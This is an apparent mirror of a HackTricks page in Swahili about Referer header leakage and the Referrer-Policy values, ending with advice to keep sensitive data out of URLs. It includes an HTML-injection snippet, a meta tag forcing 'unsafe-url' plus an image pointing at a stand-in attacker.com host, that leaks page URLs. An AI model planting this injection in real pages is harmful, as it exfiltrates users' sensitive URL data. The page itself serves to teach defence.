mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
61 lines
3.5 KiB
Markdown
61 lines
3.5 KiB
Markdown
<details>
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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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Njia nyingine za kusaidia HackTricks:
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* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
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* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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# Vichwa vya kurejelea na sera
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Kichwa cha kurejelea ni kichwa kinachotumiwa na vivinjari kuonyesha ukurasa uliotembelewa hapo awali.
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## Habari nyeti zilizovuja
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Ikiwa wakati fulani ndani ya ukurasa wa wavuti kuna habari nyeti iliyopo kwenye vigezo vya ombi la GET, ikiwa ukurasa una viungo kwa vyanzo vya nje au mshambuliaji anaweza kufanya/kuashiria (uhandisi wa kijamii) mtumiaji kutembelea URL inayodhibitiwa na mshambuliaji. Inaweza kuwa na uwezo wa kuchukua habari nyeti ndani ya ombi la mwisho la GET.
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## Kupunguza madhara
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Unaweza kufanya kivinjari kufuata **sera ya kurejelea** ambayo inaweza **kuzuia** habari nyeti kutumwa kwa programu nyingine za wavuti:
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```
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Referrer-Policy: no-referrer
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Referrer-Policy: no-referrer-when-downgrade
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Referrer-Policy: origin
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Referrer-Policy: origin-when-cross-origin
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Referrer-Policy: same-origin
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Referrer-Policy: strict-origin
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Referrer-Policy: strict-origin-when-cross-origin
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Referrer-Policy: unsafe-url
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```
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## Kuzuia-Mitigation
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Unaweza kubadilisha sheria hii kwa kutumia lebo ya meta ya HTML (mshambuliaji anahitaji kutumia uingizaji wa HTML):
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```markup
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<meta name="referrer" content="unsafe-url">
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<img src="https://attacker.com">
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```
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## Ulinzi
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Kamwe usiweke data nyeti ndani ya parameta za GET au njia katika URL.
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<details>
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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)</strong></a><strong>!</strong></summary>
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Njia nyingine za kusaidia HackTricks:
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* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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